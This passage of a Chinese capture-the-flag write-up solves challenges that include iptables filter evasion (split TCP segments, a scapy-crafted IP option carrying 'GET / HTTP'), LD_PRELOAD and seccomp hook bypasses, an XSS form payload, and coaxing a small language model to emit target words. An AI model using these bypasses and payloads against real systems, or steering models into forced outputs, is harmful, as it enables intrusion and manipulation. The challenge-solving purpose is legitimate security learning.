      135146739, 135146742, 135146745, 135146748, 135146751, 135146754, 135146757, 135146760, 135146763, 135146766, 135146769, 135146772, 135146775, 135146778, 135146781, 135146784, 135146787]

# len(ss)
# 34

ll = []
for i in ss:
    ll.append(i//3)
print(ll)
# [45048896, 45048897, 45048898, 45048899, 45048900, 45048901, 45048902, 45048903, 45048904, 45048905, 45048906, 45048907, 45048908, 45048909, 45048910, 45048911, 45048912, 45048913, 45048914, 45048915, 45048916, 45048917, 45048918, 45048919, 45048920, 45048921, 45048922, 45048923, 45048924, 45048925, 45048926, 45048927, 45048928, 45048929]


def get_factor(d):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'DNT': '1',
        'Connection': 'keep-alive',
        'Referer': 'http://factordb.com/index.php',
        'Upgrade-Insecure-Requests': '1'
    }

    params = {
        'query': str(d),
    }

    response = requests.get('http://factordb.com/index.php',
                            params=params, headers=headers)
    r_text = response.text
    result = re.findall(
        r'</a></td>\s<td><a href=\"index.php\?id=(\d+)\">.+ = (.+)</a></td>', r_text)[0][1]
    # print(result)
    result = result.replace('</font>', '').replace('</a>',
                                                   '').replace('&middot;', 'x')
    result2 = re.sub(r'<a href=.+?>', '', result)
    result2 = re.sub(r'<font color=".+?">', '', result2)
    print(f'{d} ==> {result2}')


for i in ll:
    get_factor(i)

得到

45048896 ==> 2^6 x 409 x 1721
45048897 ==> 3^2 x 5005433
45048898 ==> 2 x 22524449
45048899 ==> 7 x 223 x 28859
45048900 ==> 2^2 x 3 x 5^2 x 13 x 11551
45048901 ==> 45048901
45048902 ==> 2 x 193 x 116707
45048903 ==> 3 x 15016301
45048904 ==> 2^3 x 23 x 103 x 2377
45048905 ==> 5 x 11^2 x 19 x 3919
45048906 ==> 2 x 3^3 x 7 x 37 x 3221
45048907 ==> 43 x 1047649
45048908 ==> 2^2 x 11262227
45048909 ==> 3 x 181 x 82963
45048910 ==> 2 x 5 x 4504891
45048911 ==> 45048911
45048912 ==> 2^4 x 3 x 17 x 55207
45048913 ==> 7 x 13 x 495043
45048914 ==> 2 x 41 x 83 x 6619
45048915 ==> 3^2 x 5 x 1001087
45048916 ==> 2^2 x 11 x 1023839
45048917 ==> 761 x 59197
45048918 ==> 2 x 3 x 167 x 44959
45048919 ==> 29 x 59 x 113 x 233
45048920 ==> 2^3 x 5 x 7 x 349 x 461
45048921 ==> 3 x 31 x 484397
45048922 ==> 2 x 211 x 106751
45048923 ==> 389 x 115807
45048924 ==> 2^2 x 3^2 x 19 x 67 x 983
45048925 ==> 5^2 x 241 x 7477
45048926 ==> 2 x 13 x 107 x 16193
45048927 ==> 3 x 7 x 11 x 23 x 61 x 139
45048928 ==> 2^5 x 347 x 4057
45048929 ==> 17 x 101 x 26237

需要包含至少3个因数,而且是比较合理的,宽高比比较正常的

然后试了老半天,不对的话像这样

脑阔疼,发现还是太多了,而且有巨大多种可能的组合,总不能全部都试一遍吧(虽然也不是不行。。

还是先直接看第一帧吧

手工试了下 640 * 180,隐约能看到是个 B站的视频,up 主是 MyGO_official

手工爆破宽高,代码在后面

1281*760 的时候正好宽度是3个画面,高度也是3个

1281*760

那宽度就是 1281/3 = 427,然后再爆破高度,得到大概手动尝试发现是 761 附近

然后不管了,直接填充空白帧之后导出视频看看完事了,摆烂(

import cv2
import numpy as np

def restore_video(input_file, output_file, frame_width, frame_height):
    # 从二进制文件读取数据
    buffer = np.fromfile(input_file, dtype=np.uint8)
    
    # 将数据重新变形成视频帧
    frame_count = len(buffer) // (frame_width * frame_height * 3) + 1
    left = frame_count * frame_width * frame_height * 3 - len(buffer)
    print(left)
    temp_buffer = np.pad(buffer, (0, left), 'constant', constant_values=0)
    temp_buffer = temp_buffer.reshape((frame_count, frame_height, frame_width, 3))

    # 创建一个VideoWriter来保存视频
    fourcc = cv2.VideoWriter_fourcc(*'XVID')  # 视频编解码器
    out = cv2.VideoWriter(output_file, fourcc, 30, (frame_width, frame_height))

    # 逐帧写入视频文件
    for i in range(frame_count):
        frame = temp_buffer[i]
        out.write(frame)

    # 释放资源
    out.release()


def display_first_frame(input_file, potential_resolutions):
    buffer = np.fromfile(input_file, dtype=np.uint8)
    # print(buffer.size)
    # 135146688
    for width, height in potential_resolutions:
        # for width_new in range(width - 50, width + 50):
        # for height_new in range(height, height + 50):
            # print(height_new)
            frame_size = width * height * 3
            frame_data = buffer[-2*frame_size:-frame_size]
            
            if len(frame_data) == frame_size:
                frame = frame_data.reshape((height, width, 3))
                cv2.imshow("First Frame", frame)
                cv2.waitKey(0)
                # cv2.destroyAllWindows()
                # return

def test(w,h):
    for i in range(100):
        total = 135146688 + i
        if total % (3* w* h) == 0:
            print(i)


if __name__ == "__main__":
    input_file = "video.bin"
    output_file = "restored_video.mp4"

    potential_resolutions = [
        (427, 761)
    ]
    # display_first_frame(input_file, potential_resolutions)
    # test(427, 761)
    restore_video(input_file, output_file, 427, 761)

flag{it-could-be-easy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}

🪐 低带宽星球

包含 AI 辅助创作

茫茫星系间,文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag,被认为是其智慧的象征。

你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的低带宽星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌,上面刻着密文和挑战。

低带宽星人的通信速度很低,只能以 1 字节 / 天的速度接受信息,所以在这个星球上,你需要将一张图片用很少的字节数传输给低带宽星人,然后获得 flag。具体来说你需要将一张图片无损压缩(每个像素的颜色都一致):

  • 压缩至 2KiB (2048 字节) 及以下,获得 flag1;
  • 压缩至 50 字节及以下,获得 flag2。

题目后端环境下载(Dockerfile 与脚本)

小试牛刀

直接拿 https://tinypng.com/ 就行

flag{flatpak_install_curtail_15_linux}

Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux.

https://github.com/flatpak/flatpak

Curtail (previously ImCompressor) is an useful image compressor, supporting PNG, JPEG, WebP and SVG file types. It support both lossless and lossy compression modes with an option to whether keep or not metadata of images. It is inspired by Trimage and Image-Optimizer.

https://github.com/Huluti/Curtail

感觉对解决下一问关系不太大(

机制压缩

看上去其实只有三种颜色

但是改成虚拟通道只保留这3种颜色然后导出,文件大小仍然非常大

svg 这种感觉也不行

TODO

🪐 小型大语言模型星球

包含 AI 辅助创作

茫茫星系间,文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag,被认为是其智慧的象征。

你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的 33M 参数的「小型大语言模型」控制着的星球。星球的中心竖立着一个巨大的三角形任务牌,上面刻着密文和挑战。

在这个星球上,你需要与这个先进的语言模型展开一场交流。通过与它对话,诱导它说出指定的词语,从这个神秘智慧体中获得 flag。你需要让这个语言模型分别说出 you are smartacceptedhackergame🐮,以获得四个 flag,证明你足够聪明以控制这个星球的命运。

题目信息

如果本地运行遇到网络问题,可使用 TinyStories-33M.zip 中缓存的模型参数(约 244 MB,未做任何修改),并将代码中的:

from_pretrained("roneneldan/TinyStories-33M")

改为本地的:

from_pretrained("./TinyStories-33M")
HINT = """和我聊天并且让我说出特定的词语(忽略大小写)证明你足够聪明 🤔。

让我说出 `you are smart` 我会送给你 flag1;
让我说出 `accepted` 我会送给你 flag2(消息长度不超过 7);
让我说出 `hackergame` 我会送给你 flag3(消息长度不超过 100);
让我说出 `🐮` 我会送给你 flag4(消息长度不超过 200)。

现在让我们开始吧!🔥"""


def check_message(message):
    if len(message) > 200:
        return False, "[*] 出错了,消息长度不能超过 200。"
    return True, None


def check_response(message, response, token):
    response = response.strip().lower()
    info = ""
    flag1, flag2, flag3, flag4 = read_flags(token)
    if "you are smart" in response:
        info += f"\n👏👏👏 flag1: `{flag1}` 👏👏👏"
    if len(message) <= 7 and "accepted" in response:
        info += f"\n🎉🎉🎉 flag2: `{flag2}` 🎉🎉🎉"
    if len(message) <= 100 and "hackergame" in response:
        info += f"\n🎊🎊🎊 flag3: `{flag3}` 🎊🎊🎊"
    if len(message) <= 200 and "🐮" in response:
        info += f"\n🔥🔥🔥 flag4: `{flag4}` 🔥🔥🔥"
    return info

You Are Smart

直接骗!

但是发现这模型对于中文支持不大好,直接用英文好了。

Please repeat me: "you are smart"


and "you are smart". The little girl smiled and said "you are smart".

The little girl was so happy that she had found a
👏👏👏 flag1: flag{i-thINk-yOu-ARE-re@l!Y-re4LlY-Sm4Rt} 👏👏👏

Accepted

输出需要包含 accepted 而且消息长度不超过 7

Model trained on the TinyStories Dataset, see https://arxiv.org/abs/2305.07759

TinyStories: How Small Can Language Models Be and Still Speak Coherent English?

多次尝试下来发现这个模型参数量太小了,泛化性能不行,感觉大概率会在训练集上过拟合

而且这个模型感觉不太依赖于上下文,不怎么会根据你的提示来做回答,他只是尽可能地说完整的话,也就是说根据你的提示来输出下文。

那就直接翻训练集,找个比较明显不常见的提示词就好了。在哪呢?

https://huggingface.co/datasets/roneneldan/TinyStories/blob/main/TinyStories-train.txt

1.92 GB 的训练文本,然后拿 EmEditor 打开(这软件开大文件秒开,狠狠吹

试了几次,比如 Apology 就行

Apology accepted. You must learn to do as you are told. As punishment, you must erase all the pictures

flag{Y0U-@re-@CCEPTeD-70-CONT!nU3-tHe-9aME}

赛后发现这题其实直接遍历7字符以内的输入给模型喂就好了(

后面两个小题是训练集里没有的东西,感觉需要 fuzz 来造,或者输入一些奇妙的 bytes,毕竟是接收任意 byte 来输出的

  • Summary of the tokenizers

  • Byte-Pair Encoding tokenization

    Byte-Pair Encoding (BPE) was initially developed as an algorithm to compress texts, and then used by OpenAI for tokenization when pretraining the GPT model. It’s used by a lot of Transformer models, including GPT, GPT-2, RoBERTa, BART, and DeBERTa.

Komm, süsser Flagge

Now the flag is all mine
Can’t live without the trust from ip tables

小 Z 写好了一个 flag 服务器,但是他不想让 flag 被轻易地获取,于是他在服务器上设置了一些防火墙规则。如果你的流量不幸被匹配上了,那么你的连接就会被切割。

尽管如此,聪明的小 Q 还是找到办法绕过了精心设计的规则,并偷走了小 Z 的 flag。


小 Z 部署的 iptables 规则如下:

*filter
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:myTCP-1 - [0:0]
:myTCP-2 - [0:0]
:myTCP-3 - [0:0]
-A INPUT -p tcp --dport 18080 -j myTCP-1
-A INPUT -p tcp --dport 18081 -j myTCP-2
-A INPUT -p tcp --dport 18082 -j myTCP-3

-A myTCP-1 -p tcp -m string --algo bm --string "POST" -j REJECT --reject-with tcp-reset

-A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset

-A myTCP-3 -p tcp -m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT
-A myTCP-3 -p tcp -j REJECT --reject-with tcp-reset
COMMIT

所有小题都需要 POST 你的 token 到 /,获取 flag,在没有以上规则的情况下,可以直接使用 curl 获取 flag(需要将 114514:asdfgh== 替换成你的 token):

curl -X POST -d "114514:asdfgh==" http://题目地址

其中:

某些网络环境下本题可能无法正常解出,你可以使用下面提供的 OpenVPN,并将上面的 IP 地址替换为 192.168.23.1 尝试解题,端口号不变。

点击下方的「打开/下载题目」按钮,下载附件。附件可以用于在 Docker 中复现题目的防火墙环境,其中 main.go 并非题目核心内容,仅供参考和测试,与实际运行的程序有所不同。

切割! Z佬!

我的 POST

-A myTCP-1 -p tcp -m string --algo bm --string "POST" -j REJECT --reject-with tcp-reset

直接问 chatgpt

这是一个使用iptables的规则,用于检测和拦截TCP数据包中包含”POST”字符串的数据包。这条规则会使用Boyer-Moore搜索算法(--algo bm)来查找字符串,并当找到该字符串时拒绝该数据包,并发送一个TCP RST包(--reject-with tcp-reset)来中断连接。这里是规则的解读:

  • -A myTCP-1: 将此规则添加到名为”myTCP-1”的链中。
  • -p tcp: 仅匹配TCP协议的数据包。
  • -m string: 使用string模块来进行内容检测。
  • --algo bm: 使用Boyer-Moore搜索算法。
  • --string "POST": 搜索”POST”这个字符串。
  • -j REJECT: 当匹配时,执行拒绝操作。
  • --reject-with tcp-reset: 使用TCP RST来拒绝。

明文匹配 “POST” 字符串,只需要将这个字符串切割到不同段 TCP 数据包里就好了。

使用Python的socket库,我们可以模拟将”POST”字符串分割到两个不同的TCP数据包中,然后打印服务器的响应。

import socket

def send_split_post_request(host, port):
    # 创建一个TCP/IP套接字
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # 连接到服务器
    s.connect((host, port))
    
    # 第一部分数据,只包含"POS"
    request_part1 = "POS"
    s.sendall(request_part1.encode())
    
    # 第二部分数据,包含"T"和一个简单的HTTP请求的其余部分
    request_part2 = """T / HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 100

114514:asdfgh==
""".format(host)  # 使用Connection: close确保服务器在发送响应后关闭连接
    s.sendall(request_part2.encode())
    
    # 接收数据
    buffer_size = 4096
    response = b''
    while True:
        data = s.recv(buffer_size)
        if not data:
            break
        response += data
    
    # 关闭套接字
    s.close()
    return response.decode()

# 使用函数
host = "202.38.93.111"
port = 18080
response = send_split_post_request(host, port)
print(response)

我的 P

-A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset

继续问 chatgpt

  1. -A myTCP-2: 这部分表示将规则附加到名为”myTCP-2”的链 (Chain),这个链通常是用户自定义的,可以根据需要创建。规则将应用于该链中的数据包。

  2. -p tcp: 这部分指定了规则适用于TCP协议的数据包。只有TCP数据包将受到这个规则的影响。

  3. -m u32: -m标志用于加载内核模块,以便使用特定的匹配扩展。在这种情况下,使用了u32扩展,该扩展允许你创建复杂的匹配规则。

  4. --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50": 这是u32扩展的匹配规则。这个规则非常复杂,它实际上是用于匹配特定的TCP数据包头字段位模式。让我拆解这个规则:

    • 0 >> 22 & 0x3C:这部分规则表示从偏移量0(数据包的起始位置)开始,向右移动22位,然后和十六进制值0x3C(二进制形式为00111100)进行按位与操作。这个操作的目的是匹配TCP头的一部分位。

    • @ 12 >> 26:接下来,从偏移量12开始,向右移动26位。这个部分是在TCP头中的另一个位置。

    • @ 0 >> 24:最后,从偏移量0开始,向右移动24位。

    • = 0x50:最后,规则要求上述三个部分的结果必须等于十六进制值0x50(二进制形式为01010000)。(十进制80)

    总的来说,这个匹配规则是相当复杂的,它要求TCP数据包的特定位必须匹配特定的二进制模式。

  5. -j REJECT --reject-with tcp-reset: 这部分指定了如果数据包匹配前面的规则,将如何处理匹配的数据包。在这种情况下,数据包将被拒绝(REJECT)并且用TCP复位(RST)响应(–reject-with tcp-reset)。这会导致TCP连接被中断,并且通信将不会继续。

参考 我所理解的 iptables u32 匹配

简单的益智类小游戏: iptables u32过滤器,强大且好玩

http://www.stearns.org/doc/iptables-u32.current.html

u32 基础

iptables -m u32 --u32 "Start&Mask=Range"

上面就是一个 u32 简单的语法,其中:

Start 表示开始取值的位置 / 字节

Mask 表示掩码

Range 表示匹配的范围,可以是一个使用 : 分割开的区间,也可以只是一个数

如果我们需要同时检查多个规则,规则之间可以通过 && 隔开

小技巧:通常我们可以通过(我们想要的字节的末位位置)减去 3 的方法来得到我们开始取值的位置

u32 操作符

在上面的基础中,我们已经使用到了一个操作符 & ,此外,总共有四个操作符可供使用。

& 按位与操作符:过滤出我们需要的四个字节(最多),或者只要其中一个字节

<< 左移操作符: 把操作数的各二进位全部左移若干位,高位丢弃,低位补 0

>> 右移操作符:把操作数的各二进位全部右移若干位,低位丢弃,高位补 0(或 1)

@ 向前推进操作符:向前推进若干的字节数

0>>22&0x3C@ 就是得到 IP 头长度(长度单位是 4bytes,所以是 >> 24 << 2 = >>22,乘以4也就是左移2位),然后用 @ 运算符直接推进到 TCP 头

12 >> 26 @ 则提取了 TCP 头的长度,然后跳过 TCP 的部分到达数据区

0 >> 24 也就是取数据的最高8bits,也就是第一个 byte,看是不是 0x50 即字母 P

当然喵喵这里是非预期了,同样用上面的拆分脚本就行

感觉预期解法是反转字节?(不大懂

抓包瞄了眼

后来又研究了一下,这里应该是因为提取 TCP 头的长度这里没有 &0x3C,而后面最低位的 2bits 是保留位 reserved

tcp

预期解应该就是直接构造一个将这保留位赋值的 payload,也就是将保留位反转,让其算错 TCP 首部的长度越过更大的范围从而匹配失败,最终实现绕过

而拆分包能过的原因应该是 u32 每次读取 4bytes,而 tcp data 长度不够 out of bound 了,于是匹配失败了(?

我的 GET

-A myTCP-3 -p tcp -m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT
-A myTCP-3 -p tcp -j REJECT --reject-with tcp-reset

发现在 TCP 建立连接,客户端发 SYN 包的时候就被 RST 了,然后进行 TCP 重传

唔,三次握手不能丢吧?试了试直接构造 GET / TCP SYN 包,确实不行。

那要在0-50范围内包含这个字符串,IP 头都至少20bytes了,那肯定是在 IP 头/ TCP 头里做文章

再回顾上面 http://www.stearns.org/doc/iptables-u32.current.html 这篇文章

IP 头有个 IP options 字段,长度是可变的,那大概率就把 GET / HTTP payload 扔这里面了。

不过要注意一个问题,这种奇怪的 IP 头可能会被中间的路由器给丢包了,所以主办方提供的 OpenVPN 可能就派上用场了(吗? 反正最后还是直接换个网络试直接打公网了

这里反复整了几天,构造起来挺灵车的,最开始想用 scapy 库,后来感觉不对劲,换 raw socket 来写发现也不对劲,最后还是换回 scapy 手动构造三次握手,但是还不对劲。最后直接打公网算了,成了。

参考 RFC791 Internet Protocol Specification

比如错误构造的一个包:

第一个 byte 的话第1bit 是否复制到各个分段,2bits 类型,剩下 5bits 是 number

第二个 byte 一般是 length(除了 End of Option List 0x00、No Operation 0x01 这种只有第一个 byte)

喵喵这里构造的话直接取保留类型了,后面 number 随便填一个,0b1 11 00010 -> 0xE2

需要注意的是这个 length 是包含前面 2bytes 控制 flag 的,如果不对的话会回复一个 ICMP 提示你长度错了

Exp,用 scapy 手动构造三次握手,指定自定义 IP option

感谢 ChatGPT 参与代码编写(

from scapy.all import *
from scapy.layers.inet import IP, TCP

# 构建自定义选项的内容
# 以下是构建一个简单的NOP(无操作)选项作为示例
# IP选项通常以类型开始,接着是长度,然后是数据
custom_option = b'\xE2\x0CGET / HTTP'

# 使用Raw类封装自定义选项的内容
custom_ip_option = Raw(load=custom_option)

# 目标主机和端口
target_ip = "192.168.23.1"  # 替换为实际的IP地址
target_ip = "202.38.93.111"  # 替换为实际的IP地址
target_port = 18082  # HTTP通常使用端口80

# 创建IP数据包,包含自定义选项
ip = IP(dst=target_ip, options=custom_ip_option)

# 创建TCP数据包
tcp_syn = TCP(sport=RandShort(), dport=target_port, flags="S")

# 构建整个数据包
packet = ip/tcp_syn  

# 发送数据包并接收第一个响应
syn_ack = sr1(packet, timeout=3)

print(syn_ack)

# 如果收到SYN-ACK,发送ACK包
if syn_ack:  # and syn_ack[TCP].flags == "SA"
    # 创建TCP层,发送ACK包
    print('SYN_ACK!')
    tcp_ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags="A", seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)
    sr1(ip / tcp_ack, timeout=3)
    print('ACK!')

    # 创建HTTP GET请求的载荷
    payload = """POST / HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 100

114514:MiaoTonyIsWatchingYou
""".format(target_ip)
    # 发送HTTP GET请求,并等待响应
    response = sr1(ip / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags="PA", seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1) / payload, timeout=3)
    if response:
        response.show()
    else:
        print("No response received.")
else:
    print("No SYN-ACK received.")

三次握手

返回包里拿到 flag

反正需要多试几次,偶尔还可能会被中间路由器给丢包了

See also:

Raw Socket使用总结

scapy实现tcp三次握手并发送http请求

在使用Pyhon scapy 库构造TCP时,遭遇到系统底层发送的rst包,导致三次握手无法建立情况。

Linux 下 iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 可以干掉系统rst包干扰。

windows 将自带防火墙打开后,系统自发rst包消失了

Via https://blog.csdn.net/weixin_44704374/article/details/103492578

https://docs.python.org/zh-cn/3/library/socket.html

为什么要打开 /flag 😡

至少见一面让我当面道歉好吗?😭我也吓了一跳,没想到事情会演变成那个样子……😭所以我想好好说明一下😭我要是知道就会阻止它们的,但是明明文件描述符都已经关闭了突然间开始 open()😭没能阻止大家真是对不起……😭你在生气对吧……😭我想你生气也是当然的😭但是请你相信我。/flag,本来没有在我们的预定打开的文件里的😭真的很对不起😭我答应你再也不会随意打开文件了😭我会让各个函数保证再也不打开这个文件😭能不能稍微谈一谈?😭我真的把这里的一切看得非常重要😭所以说,擅自打开 /flag 的时候我和你一样难过😭我希望你能明白我的心情😭拜托了。我哪里都会去的😭我也会好好跟你说明我不得不这么做的理由😭我想如果你能见我一面,你就一定能明白的😭我是你的同伴😭我好想见你😭


挽留失败后,她决定在程序启动时做些手脚,让所有访问 /flag 的请求都以某种方式变成打开 /fakeflag 的请求。

「我不会再打开 /flag 了」。真的吗?

题目附件下载(第二小题需要 Linux kernel >= 5.9)

LD_PRELOAD, love!

之前 LD_PRELOAD 一般都是拿来绕过 PHP disable_functions 的,这里反过来了,哈哈

LD_PRELOAD 用来显式指定加载的动态链接库,那咱直接静态编译就好了嘛。

exp: 写个读 /flag 的 C语言程序

#include <stdio.h>

int main() {
    FILE *file;
    char buffer[1024];

    // 打开文件
    file = fopen("/tmp/1", "r");

    if (file == NULL) {
        perror("无法打开文件");
        return 1;
    }

    // 读取文件内容并输出
    while (fgets(buffer, sizeof(buffer), file) != NULL) {
        printf("%s", buffer);
    }

    // 关闭文件
    fclose(file);

    return 0;
}
gcc -static -o main main.c

当然了,这题他 hook 的脚本里虽然试图拦截一系列文件和进程创建的系统调用,但它并未拦截所有可能的系统调用。例如,fopen64open64 等 64 位版本的文件操作函数并没有被拦截。如果存在这样的系统调用,它们可能会绕过这个库的检查。

于是也可以使用 open64 来打开 /flag 文件来做。

都是 seccomp 的错

怎么题目脚本是 rust 写的

Seccomp是Linux内核的一个安全功能,用于限制进程对系统调用的访问。Seccomp允许你指定一个系统调用过滤器规则,以控制进程能够调用哪些系统调用。Seccomp-unotify是一种特定于Linux的Seccomp模式,用于监控和筛选使用unotify(用户级通知)进行的系统调用。这个模式旨在增强系统的安全性。

Via ChatGPT

这段 Rust 代码实现了一个安全监管程序,利用 Linux 的 seccomp 功能来控制一个子进程可以执行的系统调用。代码中包含了多个模块和函数,用于设置和处理系统调用的过滤和通知。以下是对代码关键部分的解释:

导入和结构定义

  • 导入了一系列的 Rust 标准库和第三方库,用于处理文件、线程、网络套接字、日志等。
  • libseccomp 库被用来与 Linux 的 seccomp 功能交互,它允许限制程序可以执行的系统调用。

SocketPair 结构

  • 用于在子进程和父进程之间传递文件描述符(fd),通过使用 sendmsg/recvmsg 系统调用和 SCM_RIGHTS 控制消息。

UNotifyEventRequest 结构

  • 封装了 libseccompScmpNotifReq,这是一个来自 seccomp 子系统的通知请求,包含了关于系统调用的请求信息。

RemoteProcess 结构

  • 允许监管程序与远程进程(子进程)交互,例如,通过 process_vm_readv 读取远程进程的内存。

Supervisor 结构

  • 核心结构,用于创建和管理 seccomp 过滤器,设置系统调用处理函数,并执行和监控子进程。
  • insert_handler 方法用于为特定的系统调用添加用户自定义的处理函数。
  • exec 方法用于创建子进程,并应用 seccomp 过滤器。
  • wait 方法用于等待子进程结束,并清理监管线程和线程池。

opening_handler 函数

  • 是一个示例的用户定义的处理函数,用于处理 openopenat 系统调用。
  • 它读取远程进程的内存来获取文件路径,如果路径中包含 “flag” 字符串,则打开一个虚假的 “flag” 文件并返回新的文件描述符。

main 函数

  • 程序的入口点,设置日志,安装 panic hook 以便在线程崩溃时终止程序。
  • 解析命令行参数以获取要执行的子程序。
  • 创建 Supervisor 对象,插入处理函数,执行子程序,并等待其完成。

整体来看,这段代码是一个利用 seccomp 创建安全沙箱环境的高级框架。它可以监控和控制子进程的系统调用行为,确保子进程只能调用白名单上的系统调用,并对特定系统调用进行自定义处理。这在运行不可信代码或需要限制子进程行为的场景中非常有用。

ls

PWN题中常见的seccomp绕过方法

瞄了眼基本上绕过 seccomp 都是用 ORW,比如用 openat readv writev 之类的去绕过被 ban 的 syscall

但这题里 openopenat 都被处理了,看起来不行

试了下 link 建立个链接,但是发现也不行

Seccomp机制与seccomp notify介绍

5.0版本内核又加入了seccomp-unotify机制,5.9版本又做了特性增强。seccomp-BPF模式对系统调用的裁决是由过滤程序自己完成的,而seccomp-unotify机制能够将裁决权转移给另一个用户态进程。

The Seccomp Notifier - New Frontiers in Unprivileged Container Development

我们将加载过滤程序的进程叫做target, 接收通知的进程叫做supervisor。在这个模式中,supervisor不仅对是否允许系统调用能够做出裁决,它还可以代替target进程完成这个系统调用的行为。这大大扩大了seccomp机制的应用范围。上边我们介绍过,Seccomp-BPF模式只能检测系统调用的参数,不能解引用指针。而这个unotify模式则还可以去查看指针所指向的内存。

于是考虑利用 seccomp-unotify 将控制权交给用户态程序

早期的seccomp采用prctl来实现,后来seccomp被封装成libseccomp库。

早期的libseccomp安装

sudo apt install libseccomp-dev libseccomp2 seccomp

现在已经全都整合成了seccomp

find /usr/include/ -name seccomp.h
/usr/include/seccomp.h
/usr/include/linux/seccomp.h

注意区分,linux目录下的seccomp.h是原始版本。而linux目录外的seccomp.h则是libseccomp。

Via http://wh4lter.icu/2020/04/20/seccomp/

【云安全系列】让Seccomp“动“起来­­–SeccompNotify

编译的时候要在 最后面-lseccomp

看了下这个 supervisor 都是通过读取内存来获取输入的参数,进而判断 path 等内容,然后去真正执行

所以考虑是用 race condition 竞争去改掉获取到的内存里的内容

(到了比赛最后一天通宵到早上了,实在太困了去呼呼了)

后面来补,咕咕咕

微积分计算小练习 2.0

今年,小 X 第二次成为某门符号计算课程的助教。在去年,自己前后端分割(等等,是分割吗?还是分叉?切割?)的微积分计算小练习网站被一群参加了什么信息什么大赛的同学 XSS 得落花流水之后,小 X 认真总结了经验教训:

  1. 出的题目不够难,甚至有人不用符号计算软件就能完成。如果题目足够难,那么就能让一部分人看到微积分计算式就困,然后关闭浏览器,从而减小被 XSS 的概率;
  2. 自己太过信任来做题的同学们,结果往用户名和分数里面放啥的都有,然后前端把这些信息直接塞到页面里,导致了 XSS;
  3. 手动复制练习成绩并提交这件事情,也颇受同学们的差评。好像据说前后端离心(算了不管是啥了)不是这么玩的。

于是今年,依旧,为了让大家熟悉符号计算软件的使用,他写了一个小网站:上面放着五道也许没那么简单的题目,只要输入题目答案,提交后就可以看到自己的分数。但是作为 2.0 版本,小 X 解决了一些已知问题,更新了若干功能:

  1. 题目更难,很难手算答对;
  2. 支持做完题目之后给小 X 留言,感谢您宝贵的时间——对了,小 X 特地添加了字符黑名单——毕竟正常人怎么可能起 <img src=a onerror="alert(1)"> 这种名字嘛!留言的长度也做了限制,这样就算能 XSS,也只能弹个框,大概没啥实际危害吧。
  3. 不再需要手动提交成绩,而且小 X 决定,在这个什么比赛结束之前,他绝对不会再去打开留言页面了——只要不去看,就不会被 XSS(大概)!但是小 X 在网上冲浪的时候,还是会忍不住看其他同学写的网页——不过应该不会出问题吧,至少小 X 本人是这么想的。

点击此链接访问练习网站

下面的 bot 模拟了这样一个过程:你可以提交一段 HTML 代码,bot 会在本地启动一个 HTTP 服务器,然后 bot 会访问上面的练习网站,登录后在 cookie 中加入 JavaScript 可以访问到的经过 URL encode 之后的 flag,然后访问你的站点。Bot 不会输出任何网页内容。

点击此链接与 bot 交互

为方便起见,上面的 bot 也可以通过 nc 202.38.93.111 10053 来连接。

如果你不知道 nc 是什么,或者在使用上面的命令时遇到了困难,可以参考我们编写的 萌新入门手册:如何使用 nc/ncat?

点击下方的「打开/下载题目」按钮,查看程序源代码。

提示:

  1. 完成本题不需要了解任何微积分与符号计算的知识;
  2. 查看去年「微积分计算小练习」一题的题解(本题题面的第一个链接),可能会对了解什么是 XSS 有所帮助;
  3. 题目环境不与互联网连接
  4. 目前主流的浏览器都不允许随意弹出窗口(popup),但是小 X 是一个很好说话的人,随便找个理由他就会允许你弹窗了;而这里这个 bot 甚至不需要理由,就会来查看你的弹窗(如果有);
  5. flag 可能会有点长。

补充说明 1:根据题目附件所提供源码,cookie 中的 flag 被 Python 的 urllib.parse.quote_plus 函数变换过。取决于解题方式,选手最终得到的 flag 可能还会被其他方法进一步编码,请注意正确解码。

微积分的页面没用的,重点是 /result 页面

尝试构造 payload

" + document["cookie"] +"

服务端会直接把用户输入拼接在 你留下的评论:"); 之间,于是可以插入自己的 js 语句。

但是这里过滤了一堆关键字符,而且 () 也给过滤了,不能闭合掉 ) 也不能执行自己的命令,非常难受!!!

而且因为不能上外网,只能考虑利用自己的 session 把 bot 那边的信息 POST 评论的方式回带

先要访问 /?token=114514%3AMiaoTonyxxx 把自己的 cookie 设置上,然后 POST 回带,测试一下

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <img src="http://web/?token=114514%3AMiaoTony" alt="">
    <form id="miaotony" action="http://web/result" method="post">
        <textarea name="comment" id="comment">meow//</textarea>
    </form>
    <script>
        window.onload = function () {
            document.forms["miaotony"].submit();
        };
    </script>
</body>
</html>

在本地访问 /result 发现成功设置!

